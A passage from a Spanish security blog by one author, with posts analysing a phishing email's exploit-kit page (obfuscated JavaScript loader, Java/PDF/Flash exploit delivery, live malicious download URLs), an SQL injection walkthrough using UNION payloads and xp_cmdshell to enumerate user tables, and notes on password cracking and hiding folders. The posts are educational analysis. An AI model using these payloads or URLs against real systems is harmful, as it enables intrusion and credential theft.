Información clasificada bajo Seguridad

Una de malware y troyanos

Publicado por Jorge Hoya el 28 octubre 2011, 17:16 - Comentarios comentarios (0)
Etiquetas: ,

Ayer, no sé por qué, al ver uno de tantos correos de SPAM pensé en cómo la gente hace caso a estos correos y lo que eso puede implicar. Aquí va lo que pasó al hacerlo.

Texto del email:

Payment Notification #04743410 
The ACH transaction (ID:04743410 ), recently initiated from your checking account (by you or any other person), was canceled by the other financial institution.
Rejected transaction 
Transaction ID: 04743410 
Reason for rejection: See details http://nacha.org/report/04743410/detailis.php?n=8389 
________________________________________
8307 Sunrise Valley Drive, Suite 100 Herndon, VA 20171 (703)561-1100 2011 NACHA - The Electronic Payment Association 

Para empezar, al pinchar en el enlace que vemos no nos lleva a la dirección indicada, sino a http://madhusundergroup.com/06elcu/index.html, cuyo código HTML es el siguiente:

<html>
<script language="JavaScript" type="text/JavaScript" src="http://www.xmjhx.com/czc/js.js"></script>
<script language="JavaScript" type="text/JavaScript" src="http://www.laserdentmexico.com/images/js.js"></script>
<script language="JavaScript" type="text/JavaScript" src="http://actionmovingjoplin.com/sound/js.js"></script>
</html>

El primer fichero, js.js, nos redirige a un nuevo documento PHP:

document.location='http://losecraft.com/main.php?page=baa0dc5f2ec2ccc7';

Cuyo contenido es más o menos el siguiente (lo tenéis completo en el adjunto):

<html>
<body>
<applet height=1 code='json.Parser.class' width=1 archive='./content/field.jar'><param  val=123 name=p value='e00oMDD=Rfhq%Qu0VqRmDBVoeoju8gi6h83'/></applet>
<font style="display:none;">73^84^72^48^15............</font><script>

function setCharAt(str,q,index) {
	i=index;
	c=String.fromCharCode(1*str[i] + 27);
	return c;
}
md="a";
v325v3=function(){
	try{if(+new Object(123)===123)throw 1;}catch(q){
	return document["getElementsByTagName"]("font")[0].innerHTML["split"]("^");
	}
}
			c=new String();
			i=0;
			s=v325v3.call();
			while(i!=s.length){
				c+=setCharAt(s,123,i);
				i++;
			}
			try{document.tb5tb34t.t4bh34}catch(q){
			eval(c);
			}
		</script></body></html>

Este documento trata de descargar un fichero Java (field.jar) y evaluando, con javascript, la cadena de números que hay dentro de las etiquetas <font style="display:none;"> (ver negrita) construye un IFRAME donde se pone a trabajar (ver fichero 'codigo_del_iframe.txt' adjunto). No entiendo bien el proceso al completo pero creo que veo por donde va:

  1. comprueba qué versión tiene el cliente de Java, Adobe Acrobat y Flash (inicializa estas variables que luego llena):
    var jver=[0,0,0,0],pdfver=[0,0,0,0],flashver=[0,0,0,0];
  2. comprueba qué navegador está usando el cliente:
    initScript:function(){var c=this,a=navigator,e="/",i=a.userAgent||"",g=a.vendor||"",b=a.platform||"",h=a.product||"";
    c.OS=100;if(b){var f,d=["Win",1,"Mac",2,"Linux",3,"FreeBSD",4,"iPhone",21.1,"iPod",21.2,"iPad",21.3,"Win.*CE",22.1,
    "Win.*Mobile",22.2,"Pocket\s*PC",22.3,"",100]
    
  3. averigua cómo lanzar su exploit (con la información anterior)
    if(c.isIE){var f,j=["Msxml2.XMLHTTP","Msxml2.DOMDocument","Microsoft.XMLDOM",
    "ShockwaveFlash.ShockwaveFlash","TDCCtl.TDCCtl","Shell.UIHelper","Scripting.Dictionary",
    "wmplayer.ocx"];for(f=0;f<j.length;f++){if(c.getAXO(j[f])){c.ActiveXEnabled=true;break}}
    c.head=c.isDefined(document.getElementsByTagName)?document.getElementsByTagName("head")[0]:null}
    c.isGecko=(/Gecko/i).test(h)&&(/Gecko\s*\/\s*\d/i).test(i);
    c.verGecko=c.isGecko?c.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(i)?RegExp.$1:"0.9"):null;
    c.isSafari=(/Safari\s*\/\s*\d/i).test(i)&&(/Apple/i).test(g);
    c.isChrome=(/Chrome\s*\/\s*(\d[\d\.]*)/i).test(i);c.verChrome=c.isChrome?c.formatNum(RegExp.$1):null;
    c.isOpera=(/Opera\s*[\/]?\s*(\d+\.?\d*)/i).test(i);
    c.verOpera=c.isOpera&&((/Version\s*\/\s*(\d+\.?\d*)/i).test(i)||1)?parseFloat(RegExp.$1,10):null;
    
  4. Y decide como colar su regalito: usando Java, Flash o Adobe Acrobat

Si, tras evaluar el navegador del cliente y los plugins instalados, decide usar Java comprueba su versión y ruta:

try{pf='\\Program Files\\Java\\jre6\\lib\\ext';
pf2=pf.replace('es','es (x86)');
jtrnew('file:C:'+pf);jtrnew('file:C:'+pf2);
jtrnew('file:D:'+pf);jtrnew('file:D:'+pf2);
jtrnew('file:E:'+pf);jtrnew('file:E:'+pf2);}catch(e){}}spl2()}

e intenta lanzar su exploit (creo que intenta descargar lo mismo de dos direcciones alternativas, a día de hoy, sólo funciona la segunda)

try{var bs=document.createElement("OBJECT");bs.setAttribute("type",smbp);bs.setAttribute("width",0);
bs.setAttribute("height",0);document.body.appendChild(bs);
bs.launch("http: -J"+"-jar -J\\\\91.229.90.32\\pub\\new.avi  http://losecraft.com/w.php?f=20&e=2 none")

Si, por el contrario, decide lanzar el exploit en formato PDF manda uno en función de qué versión se encuentre de Adobre Acrobat:

  • Si versión < 9 => ejecuta http://losecraft.com/content/1ddfp.php?f=20 [ descarga el fichero 'si_pdf_entre_0_y_8-0dfdd.pdf']
  • si versión = 9 => ejecuta http://losecraft.com/content/2ddfp.php?f=20 [ descarga el fichero 'si_pdf_version_9-7c2a2.pdf']

Estos documentos PDF contienen código javascript, que reconozco no he analizado pero que deben ser divertidos.

Si prefiere usar Flash, se descargará el fichero score.swf con el que, pasandole un exploit intentará, ganar una shell y descargar el fichero deseado: wpbt0.dll [1]

{var fname="content/field";
var Flash_obj="<object classid='clsid:d27cdb6e-ae6d-11cf-96b8-444553540000' width=10 height=10 id='swf_id'>";
Flash_obj+="<param name='movie' value='"+fname+".swf' />";al="always";
Flash_obj+="<param name='allowScriptAccess' value='"+al+"' />";Flash_obj+="<param name='Play' value='0' />";
Flash_obj+="<embed src='"+fname+".swf' id='swf_id' name='swf_id'";Flash_obj+="allowScriptAccess='always'";
Flash_obj+="type='application/x-shockwave-flash'";Flash_obj+="width='10' height='10'>";Flash_obj+="</embed>";
Flash_obj+="</object>";var oSpan=document.createElement("span");document.body.appendChild(oSpan);oSpan.innerHTML=Flash_obj;} 

Y de paso vuelve a iniciar el proceso con otra página.

{var name=navigator.plugins[i].name;if(name.indexOf('Media Player')!=-1)
{m=document.createElement('IFRAME');m.setAttribute('src','./content/cph2.php?c=20');
m.setAttribute('width',0);m.setAttribute('height',0);document.body['appendChild'](m)}}}
catch(e){} setTimeout(spl7,1000)}function getCN(){return 'content/score.swf'} 

Todo este proceso, de lo más trabajado, es para descargar, en el ordenador del cliente, el troyano wpbt0.dll [1]

Malware

Os dejo una captura del Process Explorer examinando el fichero.

Malware

Comentario para los jugones: si váis cambiando el valor del parámetro 'e' en las peticiones a w.php os descarga distintos ejecutables (algunos con nombres bien conocidos cuyo destino desconozco pero qee, seguro, no nos va a gustar mucho).

  • http://losecraft.com/w.php?f=20 descarga about.exe
  • http://losecraft.com/w.php?f=20&e=1 -> contacts.exe
  • http://losecraft.com/w.php?f=20&e=2 -> calc.exe
  • http://losecraft.com/w.php?f=20&e=3 -> readme.exe

Así que cuidado con qué páginas visitáis ;-)

Sigue leyendo 'Una de malware y troyanos'

Subir

Instalación de Tor en Backtrack 5

Publicado por Jorge Hoya el 12 julio 2011, 12:15 - Comentarios comentarios (2)
Etiquetas: ,

Como muchos de los aficionados a esto de la seguridad informática tenía instalada Backtrack 4 en una máquina virtual. Cuando la instalé me dije: "de esta vez no pasa que aprenda a usarla". Como os imaginaréis, los que ya me conocéis, sólo entré unas veces y cuando lo hice demostré mis tremendos conocimientos de Unix con los brutales comandos:

apt-get udpate && apt-get upgrade

y

sudo ./pentest/exploit/framework3/msfudpate

y ya está! A que domino el mundo de Linux :-) Siguiendo en mi línea de 'explosiones de actividad' cuando salió la versión 5 de Backtrack me dije: "ahora sí, de esta no pasa". Lo cierto es que de momento la fiebre linuxera me está durando algo más que la vez anterior y he cambiado la versión 4 por la 5. Vale, ¿ya ahora qué? En este punto es donde siempre me quedaba. Como lo que más utilizo en mi pruebas con Windows es Tor me dije, ¿por qué no lo instalo y así puedo enredar con tranquilidad en los juguetes que trae la distribución? Pués de eso va este mini howto: Instalar Tor en Backtrack 5 en 2 sencillos pasos.

1. Instalamos Tor como dice [1] pero no instalamos Privoxy porque:

apt-get install tor tor-geoipdb

ya nos instala Polipo [2] (un servidor proxy que hace las funciones de Privoxy) que configuramos como dice [3] para decirle que utilice Tor. Editamos su fichero de configuración y añadimos:

socksParentProxy = "localhost:9050"
socksProxyType = socks4

Para ejecutar aplicaciones a través de un determinado proxy tenemos ya instalada, entre otras, proxychains (hay más pero fue la primera que encontré) que rápidamente podemos configurar para que use Tor. Editamos /etc/proxychains.conf y vemos que la instalación de Tor ya modificó el fichero por nosotros (qué majo!).

2. Instalamos lynx para probar el funcionamiento de Tor accediendo a WhatIsMyIp (paso opcional), probamos a visitar www.whatismyip.com con lynx conectando a través de nuestra instalación de Tor:

	proxychains lynx http://www.whatismyip.com

Pues ya está!! Aquí os van un par de capturas.

Lynx negociando la conexion con Tor
Lynx negociando la conexión con Tor.
Lynx accediendo a Whatsmyip.com
Lynx accediendo a Whatismyip.com a través de Tor

 

Por lo sencillo que ha resultado diréis que me podía haber ahorrado el post pero si las otras veces que instalé Backtrack hubiera encontrado un sencillo artículo como este ahora sería el Arguiñano del Backtrack :-)

[1] http://www.binbert.com/blog/2011/06/how-to-install-tor-on-backtrack-5/
[2] http://www.pps.jussieu.fr/~jch/software/polipo/
[3] http://www.pps.jussieu.fr/~jch/software/polipo/tor.html

Sigue leyendo 'Instalación de Tor en Backtrack 5'

Subir

Anonymous

A raiz del email de un compañero sobre la acción de los Anonymous sobre la firma de seguridad HBGary Federal [1] he visto un ejemplo más de cómo corre la información en Internet.

Como podéis leer en el artículo que me llegó [1] hablan del CMS pero no especifican cuál era. Picado por la más sana de las curiosidades me pregunto por cuál es ese CMS en cuestión que, según muchos de los comentarios dejados en diversas páginas, es tan malo. Lo primero que hago (en realidad no hice eso, porque uno es un poco freak para algunas cosas) busco en internet 'which cms HBGary' [2] y me encuentro con que mi pregunta es una estupidez y que muchos ya la han resuelto. El CMS en cuestión se llama CMSes (ver [3], [4], [5] y [6])

Uno que es un cabezota se niega a aceptar que es medio estúpido y decide confirmar que ese es el CMS. Miro en Open Source CMS [7] y no encuentro nada [8] ¿será un CMS de pago o alguien ha metido la pata traduciendo la noticia en inglés? Decidid vosotros pero hasta que encuentre el nombre del dichoso CMS apuesto por lo segundo ;-)

Ah, se me olvidaba. ¿Habéis visto cómo, y con qué calidad, corre la información por Internet? Miedo que me da!!! :-)


[1] http://arstechnica.com/tech-policy/news/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack.ars/
[2] http://www.google.es/search?q=which+cms+HBGary
[3] http://redorbita.wordpress.com/2011/02/23/el-ataque-de-anonymous-a-hbgary/
[4] http://kr0no.diosdelared.com/?coment=9507
[5] http://www.blackploit.com/2011/02/el-ataque-de-anonymous-hbgary.html
[6] http://www.meneame.net/story/como-anonymous-hackeo-hbgary-eng
[7] http://php.opensourcecms.com/
[8] http://php.opensourcecms.com/scripts/search.php?siteSearchTerm=CMSes

Sigue leyendo 'Los Anonymous y HBGary Federal o cómo corre la información por Internet'

Subir

jhc_phpids: PHPIDs para Textpattern

Publicado por Jorge Hoya el 11 noviembre 2010, 09:13 - Comentarios comentarios (0)
Etiquetas: ,

PHPIDS for Textpattern

Recientemente, en concreto el 28/08/2010, se descubrió una vulnerabilidad en nuestro querido Textpattern, a partir de ahora TXP por economía del lenguaje, que supuestamente permitía incluir ficheros externos y ejecutarlos (una definición de andar por casa para el término 'Remote File Inclusion Vulnerability' o RFI). Como siempre que sale una vulnerabilidad en una aplicación Web no tardan en aparecer visitantes curiosos que intentan comprobar si el aviso es cierto e intentar explotarlo (como imaginaréis no he estado exento de dichas pruebas).

PHPIDs actuando en Textpattern
Ejemplos de pruebas que algunos han realizado en mi web.

Teniendo en mente estos problemas de seguridad, hace tiempo pensé en por qué no aportar una capa más de seguridad a TXP. De muchos es sabido la labor que los IDS realizan en el mundo de la seguridad informática, entre los que me cuento, así que por qué no incluir uno en TXP. Sobre cuál no tuve duda: PHPIDS. Con la firme idea de crear un plugin que incorporase las cualidades de PHPIDS me puse a trabajar, no os diré hace cuanto, hasta que saqué la primera versión funcional del mismo, al que llamé jhc_phpids: PHPIDS para Textpattern.

En estas primeras versiones lo que me ha interesado es tener un plugin sencillo de instalar (en cinco pasos tal y como podéis ver en la Wiki) y que nada más hacerlo se tuviera una versión funcional de PHPIDS; y el listado de los futuros posibles ataques (todo ello desde una nueva pestaña del Gestor). Así mismo, aprovechando que el plugin no será estático, sino que tendrá una evolución tanto por fallos como por los cambios de PHPIDS, lo he colgado en Googe Code donde espero poder manejar mejor dicha evolución, vuestras posibles incidencias y, por qué no, probar el control de fuentes con Subversion.

Para una configuración más detallada de PHPIDS os recomiendo leer su documentación.

PHPIDs actuando en Textpattern
Pantalla con el error 500 que jhc_phpids mostrará ante alguna petición algo rara

Sigue leyendo 'jhc_phpids: PHPIDs para Textpattern'

Subir

Textpattern y la seguridad

Publicado por Jorge Hoya el 3 febrero 2010, 20:22 - Comentarios comentarios (0)
Etiquetas: ,

Desde hace años vengo usando Textpatterm como CMS de los proyectos Web que desarrollo (ahora estoy probando Drupal que, por lo que voy viendo, me está gustando mucho) porque como dicen ellos mismos:

Textpattern is a flexible, elegant and easy-to-use content management system. It is both free and open source.

Textpattern es un sistema de gestión de contenido flexible, elegante, fácil de usar... y yo añadiría seguro.

No pongo en duda que los equipos de desarrollo de la mayoría de los CMS actuales (Wordpress, Drupal, Joomla, etc) ponen especial interés en el tema de la seguridad y que la gestionan adecuadamente pero, salvo descuidos, el problema suele venir en la calidad de los plugins que la comunidad desarrolla y ofrece. Lo cierto es que desconozco los procedimientos que tienen cada uno de ellos para controlar la calidad de estos plugins, lo poco que he visto es que Textpattern no debe hacer ninguno, porque el código que he visto en alguno fallar no fallaba pero de calidad tampoco era, y Drupal algo debe hacer ya que en su repositorio de plugins los marca con un campo Status para indicar la versión del mismo para la que están recomendados.

Si me metiera en analizar los pros y los contras de cada uno de estos gestores podría estar escribiendo hasta el día del juicio pero como quisiera poder hacer algo antes de que llegue ese día, mejor no me meto en esa batalla. Todo esto viene a que el otro día me encontré con PHPIDS un IDS desarrollado en PHP y me encantó. Como ya sabéis me gustan los temas de Seguridad informática y me piqué con aprender a usar PHPIDS y, por qué no, a integrarlo en Textpattern. Ya me he puesto manos a la obra y, si he de seros sinceros, ya lo he conseguido pero como soy más vago que la chaqueta de un guardia dejo para mañana el escribir dos artículos: uno sobre cómo se instala y configura PHPIDS (que a pesar de existir unos cuantos en inglés nunca viene mal otro en castellano) y otro sobre la inclusión de PHPIDS en Textpattern.

Para que no os aburráis os dejo una primera lista de avisos de seguridad para tres de los muchos CMS que existen en el mercado y veréis, lo que me llena de orgullo, que Textpattern por el momento es el que menos tiene.

Avisos de seguridad para Joomla, Drupal y Textpattern

Sigue leyendo 'Textpattern y la seguridad'

Subir

Intrusión de seguridad en una aplicación web

Publicado por Jorge Hoya el 29 septiembre 2008, 19:40 - Comentarios comentarios (2)
Etiquetas: ,

De todos es sabido que el tema de la seguridad es uno de los obligados a tener en cuenta en el desarrollo de cualquiera aplicación. No somos pocos los que hemos leído noticias sobre aplicaciones Web vulnerables a ataques de Inyección SQL, Inyección SQL a ciegas, por consultas de tiempo o por consultas de tiempo pesadas pero quizás no todos lo han comprobado in situ. Para ellos vamos a ver un ejemplo sacado de una Web real y en el que se han modificado las URL para evitar futuras pruebas de algún usuario curioso.

Navegando, navegando nos encontramos con algo

No sabemos cómo hemos encontrado una URL, que muestra una imagen y que nos parece fácilmente modificable.

http://www.example.com/document.asp?id=108

Lo primero que se nos ocurre es introducir en el valor del parámetro pasado un carácter no esperado, la eterna comilla simple:

http://www.example.com/document.asp?id=108'

Que provoca un error en el que se nos indica que el motor de la base de datos es un SQL Server, a través de el nombre del proveedor ODBC de la conexión.

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ''.
/document.asp, line 15

Con esto hemos confirmado que la aplicación no analiza los parámetros de la URL y que estos son pasados directamente hacia la base de datos. Así que ahora nos queda utilizar consultas SQL, propias o no del motor de BB.DD, para sacar los datos que queremos. A jugar:

  1. Intentamos averiguar el nombre del usuario con el que se están ejecutando las conexiones a la base de datos.
    • consulta: http://www.example.com/document.asp?id=-108+union+all+select+SYSTEM_USER
    • resultado: userexample
  2. Nombre del servidor de base de datos:
    • consulta: http://www.example.com/document.asp?id=-108+union+all+select+@@SERVERNAME
    • resultado: BD
  3. Versión del motor de base de datos.
    • consulta: http://www.example.com/document.asp?id=-108+union+all+select+@@VERSION
    • resultado: userexample
  4. Intentamos averiguar el nombre del usuario con el que se están ejecutando las conexiones a la base de datos.
    • consulta: http://www.example.com/document.asp?id=-108+union+all+select+SYSTEM_USER
    • resultado:
      Microsoft SQL Server  2000 - 8.00.760 (Intel X86) 
      Dec 17 2002 14:22:05 
      Copyright (c) 1988-2003 Microsoft Corporation
      Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2)
      			
  5. Nombre de la instancia de SQL SERVER que se está ejecutando en el servidor.
    • consulta: http://www.example.com/document.asp?id=-108+union+all+select+@@SERVICENAME
    • resultado: MSSQLSERVER

Pasamos a palabras mayores.

Hemos visto que todo aquello que le pasamos a la aplicación por la URL le llega a la base da datos y que esta es un SQL SERVER 2000. Sabiendo esto probamos a ejecutar alguno de los procedimientos almacenados que existen, por defecto, en dicha base de datos (Aviso: si bien es cierto que dependiendo de la versión de SQL Server estos vienen deshabilitados, no es el primer caso que, al utilizar para conectarse un usuario con más privilegios de los necesarios, se ha podido reconfigurar el servidor para habilitarlos).

Empezamos por el más jugoso: xp_cmdshell pero antes una explicación del funcionamiento esperado por la aplicación.

Si solicitamos la URL inicial

http://www.example.com/document.asp?id=108

se nos sirve una imagen. Utilizando la capacidad de SQL Server de ejecutar varias sentencias SQL separadas por punto y coma, vamos a intentar que ejecute la consulta que normalmente hace (la que extrae la imagen que debe mostrar) y acto seguido una nueva consulta. Si al hacerlo la segunda consulta no se ejecuta, por algún error o problema, la aplicación nos devuelverá un mensaje de error y no veremos la imagen. Así si solicitamos la URL:

http://www.example.com/document.asp?id=108;select+from

Obtendremos el mensaje de error esperado:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Incorrect syntax near the keyword 'from'.
/document.asp, line 15 

Pero si lo que le mandamos es una consulta correcta

http://www.example.com/document.asp?id=108;select+1

Nos devolverá la imagen inicial. Teniendo esto en cuenta probamos con la URL

http://www.example.com/document.asp?id=108;exec+xp_cmdshell+'dir+c:'

Dios, vemos la imagen!!! Para nuestra sorpresa, y por qué no alegría, nos devuelve la imagen inicial ya que el comando se ejecutó (pensad en todo lo que se puede hacer con una consola de MS-DOS y entenderéis lo de la alegría). Si pudimos ejecutar xp_cmdshell imaginad cual de los demás que tenemos a nuestra disposición también funcionará.

El trabajo del artesano.

Como este documento pretende ser didáctico, seguiremos con al extracción de información a la antigua usanza: a mano :-) En SQL Server sabemos que las tablas existente en la base de datos se almacenan en la tabla sysobjects con un tipo determinado, xtype = 'U'. Si probamos a ver que nombre nos devuelve la aplicación al pedirle estas tablas:

http://www.example.com/document.asp?id=-108+UNION+ALL+SELECT+name+FROM+sysobjects+WHERE+xtype='U'

Obtenemos la tabla 'tb_idioma'. Si ahora le pedimos otra tabla de usuario que no sea la que ya nos dió:

http://www.example.com/document.asp?id=-108+UNION+ALL+SELECT+name+FROM+sysobjects+WHERE+xtype='U'+AND+name+NOT+IN('tb_idioma')

Nos devuelve otra nueva: '_retablos'. Si ahora le pedimos otra que no sea ninguna de las anteriores:

http://www.example.com/document.asp?id=-108+UNION+ALL+SELECT+name+FROM+sysobjects+
WHERE+xtype='U'+AND+name+NOT+IN('tb_idioma','_retablos')

Nos devuelve otra más: tb_progr. Con este procedimiento podemos ir sacando una a una las tablas de la actual base de datos, algunas de las cuales son: tb_progr, tb_hora, tb_prog_old, tbSitios, [...], tbUsuarios, [...], etc

Fijaros que hemos sacado una que parece interesante: tbUsuarios. Si ahora nos da por pedir los nombres de los campos de esta tabla:

http://www.example.com/document.asp?id=-108+UNION+ALL+SELECT+name+FROM+syscolumns+
WHERE+id=(SELECT+id+FROM+sysobjects+WHERE+name+=+'tbUsuarios')

nos devuelve el primer campo de la tabla: 'activo'. Como somos vagos, para qué engañarnos, seguimos el mismo procedimiento que en el caso de los nombres de las tablas. Así, ejecutamos consultas del tipo:

http://www.example.com/document.asp?id=-108+union+all+SELECT+name+FROM+syscolumns+
WHERE+id=(SELECT+id+FROM+sysobjects+WHERE+name+=+'tbUsuarios')+
AND+name+not+in+('activo')

y con no más de 20 conseguiremos casi todos los nombres de los campos de la tabla, entre los que están unos que nos gustan mucho: 'uLogin' y 'uPassword'

Acabando que es gerundio.

Esto de ir uno a uno sacando los datos de cada usuario se nos hace pesado así que pensamos: ¿no habrá algún modo de sacar todos los datos de golpe? hummm Creo que algo había: ¿algo así como "sp_makewebtask"?

P.D.Cuidado con lo que hacéis y dónde lo hacéis porque el enredar con la máquina de otro es peligroso.

Sigue leyendo 'Intrusión de seguridad en una aplicación web'

Subir

El mágico mundo de las contraseñas

Publicado por Jorge Hoya el 8 enero 2008, 21:09 - Comentarios comentarios (2)
Etiquetas: ,

De siempre se nos han dado consejos sobre cómo deben ser las contraseñas que usemos, su longitud, los caracteres a usar, bla bla bla Cuantas veces habremos ido a resolver algún problema a un amigo, conocido o cliente con su ordendador y hemos visto que no tienen contraseña o la que tienen es 'relativamente fácil'.

A lo que vamos! Hace unas semanas, andaba yo leyendo el libro 'El arte de la Intrusión' [1] y en uno de sus capitulos se proponía una línea de un fichero de contraseñas y decía que 'fácilmente' se averiguaba el valor cifrado que en ella se escondía. Sé que para mucha gente esta frase es una evidencia, un juego de niños tan sencillo que no merecería más mención pero a mi me picó la curiosidad. Cierto es que sabía de la existencia de herramienta de 'recuperacion' de contraseñas como "John the Ripper" [2] o "Caín & Abel" [3] pero nunca había estado más de 10 minutos con ellas.

Esta vez, estaba decidido a comprobar la validez de la afirmación hecha por el libro. Me puse a buscar software de 'recuperación de contraseñas': los mencionados John y "Caín & Abel", diccionarios de palabras para ataques de diccionario [4], tablas arcoiris (suena mejor en inglés 'rainbow tables' [5]), Ophcrack [6], MdCrack [7], L0phtCrack [8]

Armado con una buena cantidad de programas y mis mínimos conocimientos me puse a enredar. Instalo John, Caín, MdCrack y Ophcrack; pruebo cada uno de ellos e intento ataques de fuerza bruta. Viendo la cantidad de tiempo que este tipo de ataques puede emplear me paso a los de diccionario. Como loco busco listados de palabras (wordlist [9]), los pruebo pero como no sé si los listado son eficientes no sé valorar qué software es el mejor. Mientras enredaba con los programas veía un tercer tipo de ataques en el que se usaban las "Rainbow tables" [5] Buscando, buscando me encontré con Ophcrack [6] que, por lo poco que he probado, parece ser una pequeña joya. Os reconozco que no he sido demasiado meticuloso en mis pruebas pero os cuento lo que en ellas ví, está en vuestras manos el creeros lo que os diga a continuación.

Probando ataques de fuerza bruta

Lo siento, pero probando con contraseñas alfanuméricas de más de 6 caracteres el tiempo estimado de duración del proceso era daselentador así que lo dejé para otro día.

Probando ataques de diccionario

Bien sea por el entorno gráfico o porque soy un inutil, me gustó más Caín que John the Ripper (L0phtCrack no lo pude probar porque la copia que me descargué me reinició el equipo y lo desinstalé después de ver qué podía haber pasado). En un rato, serían unos 20 o 30 minutos (no me acuerdo bien porque lo dejé puesto mientras hacía unos recados y al volver la había sacado y ya estaba probado con las demás que le puse), Caín me averigüó una contraseña alfanumérica (en minúsculas) de 9 caracteres. Con esto no digo que con las demás herramientas no se pueda hacer mejor pero, en hasta el momento, no lo he conseguido.

Probando ataques de criptoanálisis

Para estas pruebas usé Caín y Ophcrack, junto con las tablas arcoiris (rainbow tables) que este último trae en su versión de LiveCD. No sé con cual quedarme ya que ambas aplicaciones tardaron menos de 30 segundos en mostrarme dos contraseñas alfanuméricas de más de 8 caracteres (en la primera prueba fué más rápido Caín pero en la segunda lo fué Ophcrack)

Conclusiones

No sé vosotros pero yo, desde ya, intentaré ser más cuidadoso con mis contraseñas :-)

Nota: las pruebas siempre han sido hechas sobre un fichero de contraseñas de usuarios de un equipo Windows XP.

  1. El Arte de la Intrusion
  2. Página web de John de Ripper
  3. Ataque de diccionario
  4. Rainbow Tables
  5. Página web de Ophcrack
  6. Manual de MdCrack
  7. Información sobre L0phtCrack
  8. Búsqueda de listas de palabras

Sigue leyendo 'El mágico mundo de las contraseñas'

Subir

Bien porque son elementos necesarios para el buen funcionamiento del Sistema o por alguna otro motivo que se nos escapa, es una realidad irrefutable que Windows nos esconde ciertos elementos. Si bien es cierto que esta es una buena medida para evitar borrados accidentales de esos elementos también puede dar pie a que se escondan otros elementos menos deseados. Todo esto viene al caso porque esta mañana, intentando generar documento XML para Excel, me encontré con un de ellos.

En cierto momento del proceso, Excel me remite a la carpeta Content.MSO [2] para leer el registro de errores. Totalmente confiado, abro el explorador de Windows, examino el contenido de la carpeta [1] y, para mi sorpresa, no consigo ver la carpeta indicada[2]. Creyendo que el motivo de no verla es la actual configuración del Explorador, procedo a cambiarla (me aseguro de haber marcado las opciones de 'mostrar archivos de sistema y ocultos', 'ver contenido de las carpetas de sistema', etc). Al finalizar las modificaciones vuelvo a examinar la carpeta y ... nada, sigo sin verlo.

Paranórico que es uno, abro una consola de MS-DOS, accedo a la carpeta y listo su contenido:

C:\...\Archivos temporales de Internet>dir *.*
 El volumen de la unidad C es OSDisk
 El número de serie del volumen es: D8C7-3F65

 Directorio de C:\...\Archivos temporales de Internet
 
08/03/2007  17:17    <DIR>          AntiPhishing
27/04/2007  10:08    <DIR>          E94T60PJ
17/05/2007  13:35    <DIR>          FrontPageTempDir
21/05/2007  11:30    <DIR>          OLK2DF
               0 archivos              0 bytes
               5 dirs  64.276.549.632 bytes libres

Intento ver el contenido oculto:

C:\...\Archivos temporales de Internet>dir /AH

 El volumen de la unidad C es OSDisk
 El número de serie del volumen es: D8C7-3F65

 Directorio de C:\...\Archivos temporales de Internet

22/05/2007  13:35    <DIR>          .
22/05/2007  13:35    <DIR>          ..
08/03/2007  12:28    <DIR>          Content.IE5
22/05/2007  13:01    <DIR>          Content.MSO
08/03/2007  12:28                67 desktop.ini
               1 archivos             67 bytes
               6 dirs  64.276.443.136 bytes libres

Y apareció. Es aquí donde surgen mis dudas. ¿Por qué el explorador de Windows no te muestra la carpeta Content.MSO? ¿Estará preparado para ocultarla? Si creamos una carpeta *.MSO, en cualquier parte, ¿la mostrará? ¿Y si la creamos en esta misma carpeta [1]?

Pués bien, haciendo pruebas y creando una carpeta Content2.MSO tanto en [1] como en otras carpeta, p.e. C:\usuario, y configurandola como Oculta, pude ver que en el primer caso el Explorer no la muestra y en el segundo si (al final del documeto se adjuntan los comandos ejecutados y esta es la imagen con el contenido de la carpeta [1])

Utilizando el tono alarmista de los Telediarios de TeleCinco podríamos decir que un usuario malintencionado podría crear dentro de [1] la estructura de carpetas que quisiera, colocando en ella las aplicaciones que desease y que pudieran ser usadas para realizar actos poco claros.

Nota: esto último tendría que comprobarse frente a la acción de los Antivirus y demás herramientas de seguridad. Lo que sí he comprobado es que un fichero colocado en la carpeta creada durante las pruebas no es encontrada por el Buscador de Windows. Salvando las distancias, ¿a nadie le recuerda eso algo a las propiedades de los rootkits?.

  1. C:\Documents and Settings\usuario\Configuración local\Archivos temporales de Internet\
  2. C:\Documents and Settings\usuario\Configuración local\Archivos temporales de Internet\Content.MSO

Codigo usuado para crear la carpeta Content.MSO

C:\...\Archivos temporales de Internet>mkdir Content2.MSO
C:\...\Archivos temporales de Internet>attrib +H +S Content2.MSO
C:\...\Archivos temporales de Internet>dir
 El volumen de la unidad C es OSDisk
 El número de serie del volumen es: D8C7-3F65

 Directorio de C:\...\Archivos temporales de Internet

08/03/2007  17:17    <DIR>          AntiPhishing
27/04/2007  10:08    <DIR>          E94T60PJ
17/05/2007  13:35    <DIR>          FrontPageTempDir
21/05/2007  11:30    <DIR>          OLK2DF
               0 archivos              0 bytes
               4 dirs  64.275.427.328 bytes libres

C:\...\Archivos temporales de Internet>mkdir prueba.MSO
C:\...\Archivos temporales de Internet>attrib +H +S prueba.MSO
C:\...\Archivos temporales de Internet>mkdir prueba2.MSO
C:\...\Archivos temporales de Internet>dir
 El volumen de la unidad C es OSDisk
 El número de serie del volumen es: D8C7-3F65

 Directorio de C:\...\Archivos temporales de Internet

08/03/2007  17:17    <DIR>          AntiPhishing
27/04/2007  10:08    <DIR>          E94T60PJ
17/05/2007  13:35    <DIR>          FrontPageTempDir
21/05/2007  11:30    <DIR>          OLK2DF
22/05/2007  13:35    <DIR>          prueba2.MSO
               0 archivos              0 bytes
               5 dirs  64.275.427.328 bytes libres

C:\...\Archivos temporales de Internet>dir /AH
 El volumen de la unidad C es OSDisk
 El número de serie del volumen es: D8C7-3F65

 Directorio de C:\...\Archivos temporales de Internet

22/05/2007  13:35    <DIR>          .
22/05/2007  13:35    <DIR>          ..
08/03/2007  12:28    <DIR>          Content.IE5
22/05/2007  13:01    <DIR>          Content.MSO
22/05/2007  13:34    <DIR>          Content2.MSO
08/03/2007  12:28                67 desktop.ini
22/05/2007  13:35    <DIR>          prueba.MSO
               1 archivos             67 bytes
               6 dirs  64.275.427.328 bytes libres

Sigue leyendo 'Lo que Windows nos esconde, ¿siempre es por nuestro bien?'

Subir

Examen a Windows Vista

